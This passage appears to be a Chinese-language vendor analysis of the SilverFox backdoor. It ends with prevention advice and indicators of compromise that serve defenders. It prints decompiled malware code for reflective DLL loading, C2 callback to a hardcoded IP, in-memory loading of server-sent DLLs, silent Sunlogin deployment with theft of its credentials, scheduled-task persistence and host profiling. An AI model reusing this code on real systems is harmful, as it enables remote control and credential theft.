else if (isRead & isWrite & !isExecute)
{
if (inst->decoy[0] == 0)
newprot = PAGE_WRITECOPY;
else
newprot = PAGE_READWRITE;
}
else if (!isRead & !isWrite & isExecute)
newprot = PAGE_EXECUTE;
else if (isRead & !isWrite & !isExecute)
newprot = PAGE_READONLY;
baseAddress = (PBYTE)cs + shcp[i].VirtualAddress;
if (i < (ntc.FileHeader.NumberOfSections - 1))
numBytes = ((PBYTE)cs + shcp[i+1].VirtualAddress) - ((PBYTE)cs + shcp[i].VirtualAddress);
else
numBytes = shcp[i].SizeOfRawData;
oldprot = 0;
DPRINT("Section name: %s", shcp[i].Name);
DPRINT("Section offset: 0x%X", shcp[i].VirtualAddress);
DPRINT("Section absolute address: 0x%p", baseAddress);
DPRINT("Section size: 0x%llX", numBytes);
DPRINT("Section protections: 0x%X", newprot);
if (!(inst->api.VirtualProtect(baseAddress, numBytes, newprot, &oldprot)))
DPRINT("VirtualProtect failed: %d", inst->api.GetLastError());
}
获取银狐木马入口点地址,并执行
if(mod->type == DONUT_MODULE_DLL) {
DllMain = RVA2VA(DllMain_t, cs, ntc.OptionalHeader.AddressOfEntryPoint);
DPRINT("Executing entrypoint of DLL: %p", (PVOID)DllMain);
DPRINT("HINSTANCE: %p\n\n", (PVOID)cs);
DllMain(cs, DLL_PROCESS_ATTACH, NULL);
银狐木马运行后会根据硬编码的IP与自身权限级别生成一个互斥体,防止多开
TokenHandle = 0i64;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
{
ReturnLength = 0;
if ( GetTokenInformation(TokenHandle, TokenElevationType, &TokenInformation, 4u, &ReturnLength) )
{
v6 = "Unknown";
switch ( TokenInformation )
{
case 1:
v6 = "User";
break;
case 2:
v6 = "Administrator";
break;
case 3:
v6 = "Limited";
break;
}
memset(v19, 0, sizeof(v19));
Base64Encode_sub_140001140(v19, (__int64)v6, strlen(v6));
memset(Name, 0, sizeof(Name));
sprintf_s(Name, 0x100ui64, "Global\\%s_%s", "43.154.160.177", v19);
MutexA = CreateMutexA(0i64, 0, Name);
创建线程执行回连获取后续指令
{
Parameter[0] = unk_140037C40;
Parameter[1] = *(_OWORD *)"77";
Parameter[2] = xmmword_140037C60;
Parameter[3] = xmmword_140037C70;
Parameter[4] = xmmword_140037C80;
*(_QWORD *)&Parameter[5] = qword_140037C90;
}
do
{
byte_140039135 = 0;
byte_140039134 = 0;
Thread = CreateThread(0i64, 0i64, (LPTHREAD_START_ROUTINE)StartAddress, Parameter, 0, 0i64);
WaitForSingleObject(Thread, 0xFFFFFFFF);
回连C243.154.160.177:8081
启用或禁用系统关机权限
LibraryA = LoadLibraryA("ADVAPI32.dll");
OpenProcessToken = GetProcAddress(LibraryA, "OpenProcessToken");
AdjustTokenPrivileges = GetProcAddress(LibraryA, "AdjustTokenPrivileges");
LookupPrivilegeValueA = GetProcAddress(LibraryA, "LookupPrivilegeValueA");
v6 = LoadLibraryA("kernel32.dll");
GetCurrentProcess = GetProcAddress(v6, "GetCurrentProcess");
_GetCurrentProcess = GetCurrentProcess();
result = ((__int64 (__fastcall *)(__int64, __int64, HANDLE *))OpenProcessToken)(_GetCurrentProcess, 40i64, &hObject);
if ( (_DWORD)result )
{
v14 = 1;
v16 = a1 != 0 ? 2 : 0;
((void (__fastcall *)(_QWORD, const char *, char *))LookupPrivilegeValueA)(0i64, "SeShutdownPrivilege", v15);
((void (__fastcall *)(HANDLE, _QWORD, int *, __int64, _QWORD, _QWORD))AdjustTokenPrivileges)(
hObject,
0i64,
&v14,
16i64,
0i64,
0i64);
v10 = LoadLibraryA("KERNEL32.dll");
v11 = (unsigned int (*)(void))GetProcAddress(v10, "GetLastError");
v12 = v11() == 0;
CloseHandle(hObject);
if ( LibraryA )
FreeLibrary(LibraryA);
if ( v6 )
FreeLibrary(v6);
return v12;
}
return result;
对系统进行关机操作
sub_1400027E0(1); // 启用系统关机权限
ExitWindowsEx(*(unsigned __int8 *)(a2 + 1), 0);// 通过参数进行关机操作
sub_1400027E0(0); // 禁用系统关机权限
添加注册表项
case 3:
sub_140007600("Remark", a2 + 1); // 添加Remark注册表,内容为传的参数"a2 + 1"
break;
case 4:
sub_140007600("Group", a2 + 1);
内存加载回传的DLL文件,并调用导出函数
v2 = (void *)MyPeLoad_sub_140007230(*(void **)(a1 + 8));
j_j_free(*(void **)(a1 + 8));
if ( v2 )
{
v3 = (void (__fastcall *)(__int64, _QWORD))MyGetProcAddress_sub_140007430(v2, "base");
if ( v3 )
v3(a1 + 20, *(unsigned int *)(a1 + 16));
MyFreeLibrary_sub_140007540(v2);
}
查找进程中是否存在向日葵客户端
,不存在则静默部署
while ( !(unsigned int)MyFindProcessName_sub_1400024F0("xrk.exe") )
{
*(_OWORD *)FileName = *(_OWORD *)a2;
v53 = *(_OWORD *)(a2 + 16);
v54 = *(_OWORD *)(a2 + 32);
v55 = *(_OWORD *)(a2 + 48);
v56 = *(_OWORD *)(a2 + 64);
v57 = *(_OWORD *)(a2 + 80);
v58 = *(_DWORD *)(a2 + 96);
v59 = *(_BYTE *)(a2 + 100);
FileA = CreateFileA(&FileName[1], 0x40000000u, 1u, 0i64, 2u, 0, 0i64);
v18 = FileA;
if ( FileA == (HANDLE)-1i64 || !WriteFile(FileA, (LPCVOID)(a2 + 101), a3 - 101, &NumberOfBytesWritten, 0i64) )
return;
CloseHandle(v18);
ShellExecuteA(0i64, "open", &FileName[1], 0i64, 0i64, 0);
do
WindowA = FindWindowA("#32770", &WindowName);
while ( !WindowA );
ShowWindow(WindowA, 0);
Sleep(0xFA0u);
}
读取向日葵客户端
配置文件中的用户名和密码
并回传至服务器
GetPrivateProfileStringA("base", "fastcode", &Default, ReturnedString, 0x104u, v20);
v21 = (const CHAR *)lpFileName;
if ( v29 >= 0x10 )
v21 = lpFileName[0];
GetPrivateProfileStringA("base", "password", &Default, String2, 0x104u, v21);
v22 = LocalAlloc(0x40u, 0xC9ui64);
*v22 = -39;
lstrcpyA(String1, ReturnedString);
lstrcpyA(v61, String2);
memmove(v22 + 1, String1, 0xC8ui64);
加载下发的插件
GetTempPathA(0x104u, Buffer);
strcpy(Format, "Plugin32.exe");
TickCount = GetTickCount();
sprintf(String2, Format, TickCount);
lstrcatA(Buffer, String2);
FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64);
if ( FileA != (HANDLE)-1i64 )
{
WriteFile(FileA, &a2[strlen(a2) + 1], a3 - strlen(a2) - 1, &NumberOfBytesWritten, 0i64);
CloseHandle(FileA);
sprintf(Parameters, "-connect %s:1111", (const char *)(a1 + 36));
strcpy(Operation, "open");
ShellExecuteA(0i64, Operation, Buffer, Parameters, 0i64, 0);
}
return 0i64;
使用COM调用put_Path
方法,将当前执行的程序路径设置为计划任务运行路径
GetModuleFileNameA(0i64, Filename, 0x104u);
v8 = (volatile signed __int32 *)operator new(0x18ui64);
v9 = v8;
if ( v8 )
{
*((_QWORD *)v8 + 1) = 0i64;
*((_DWORD *)v8 + 4) = 1;
*(_QWORD *)v8 = ToUnicode_sub_14001EA60(Filename);
}
else
{
v9 = 0i64;
}
v40 = v9;
if ( !v9 )
sub_14001EA50(2147942414i64);
(*(void (__fastcall **)(__int64, _QWORD))(*(_QWORD *)IExecAction + offsetof(IExecAction, put_Path)))(v22, *(_QWORD *)v9);
使用COM调用RegisterTaskDefinition
方法,创建名为sysmt64
的计划任务
{
*((_QWORD *)v11 + 1) = 0i64;
*((_DWORD *)v11 + 4) = 1;
*(_QWORD *)v11 = ToUnicode_sub_14001EA60("sysmt64");
}
else
{
v12 = 0i64;
}
v33 = v12;
if ( !v12 )
sub_14001EA50(2147942414i64);
v13 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, __int64, VARIANTARG *, VARIANTARG *, int, VARIANTARG *, char *))(*(_QWORD *)ITaskFolder
+ offsetof(ITaskFolder, RegisterTaskDefinition)))(
v23,
*(_QWORD *)v12, //sysmt64
v16,
6i64, //TASK_CREATE_OR_UPDATE
&v46,
&v47,
3,
&v45,
v34);
结束multitip.exe
进程
if ( Process32First(Toolhelp32Snapshot, v3) )
{
if ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, v4) )
goto LABEL_9;
while ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, v4) )
goto LABEL_9;
}
}
th32ProcessID = v4->th32ProcessID;
}
L_9:
CloseHandle(Toolhelp32Snapshot);
j_free(v4);
if ( th32ProcessID )
{
v5 = OpenProcess(0x1FFFFFu, 0, th32ProcessID);
if ( v5 )
TerminateProcess(v5, 0);
}
将当前时间、用户名、当前进程是否管理员运行、运行进程的路径、以及通过WMI查询到的杀毒软件名称
等信息通过心跳包的形式发送至C2
v17 = -2i64;
memset(String1, 0, 0x307ui64);
v20 = -56;
lstrcatA(String1, (LPCSTR)(a1 + 224));
LODWORD(nSize) = 50;
v6 = CreatComputerNameReg_sub_1400076E0((__int64)"Remark");
if ( strlen(v6) )
strncpy(&String1[130], v6, 0x32ui64);
else
GetComputerNameA(&String1[130], (LPDWORD)&nSize);
*(_DWORD *)&String1[231] = GetCurrentProcessId();
*(_DWORD *)&String1[755] = a2;
String1[491] = IsAdmin_sub_140002FF0();
v19 = 15i64;
Source[2] = 0i64;
LOBYTE(Source[0]) = 0;
sub_140004820(Source, (void *)&Default, 0i64);
if ( CoInitializeEx(0i64, 0) >= 0 )
FindAVName_sub_140002AB0(Source);
v7 = (const char *)Source;
if ( v19 >= 0x10 )
v7 = Source[0];
strncpy_s(&String1[299], 0x80ui64, v7, 0x7Fui64);
v8 = CreatComputerNameReg_sub_1400076E0((__int64)"Time");
if ( !lstrlenA(v8) )
{
time64(&nSize);
v9 = localtime64(&nSize);
wsprintfA(
v8,
"%d-%d-%d %d:%d",
(unsigned int)(v9->tm_year + 1900),
(unsigned int)(v9->tm_mon + 1),
v9->tm_mday,
v9->tm_hour,
v9->tm_min);
sub_140007600((__int64)"Time", v8);
}
strncpy_s(&String1[235], 0x40ui64, v8, 0x3Fui64);
if ( strlen(CreatComputerNameReg_sub_1400076E0((__int64)"Group")) )
v10 = CreatComputerNameReg_sub_1400076E0((__int64)"Group");
else
v10 = (CHAR *)(a3 + 23);
strncpy_s(&String1[427], 0x40ui64, v10, 0x3Fui64);
v16 = 50;
strcpy(ProcName, "GetUserNameA");
strcpy(LibFileName, "Advapi32.dll");
LibraryA = LoadLibraryA(LibFileName);
GetUserNameA = GetProcAddress(LibraryA, ProcName);
((void (__fastcall *)(CHAR *, int *))GetUserNameA)(&String1[180], &v16);
攻击过程可视化(EDR)
瑞星EDR
上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。
总结
银狐
木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
f498657f7861d03bd65ac3c6f1e987a6 1a65b67cdf9da962b055e595ee8aa1fb ec1e1c2e7f48a66476f7ed30b6cb0442 da2bc388dda706f882e3ad5944a92475 c9a04270048489f8130aab409c9d90e0
-
Domain
downloder.bj.bcebos.com
-
IPV4
43.154.160.177
-
瑞星病毒名
Backdoor.SilverFox!1.12E40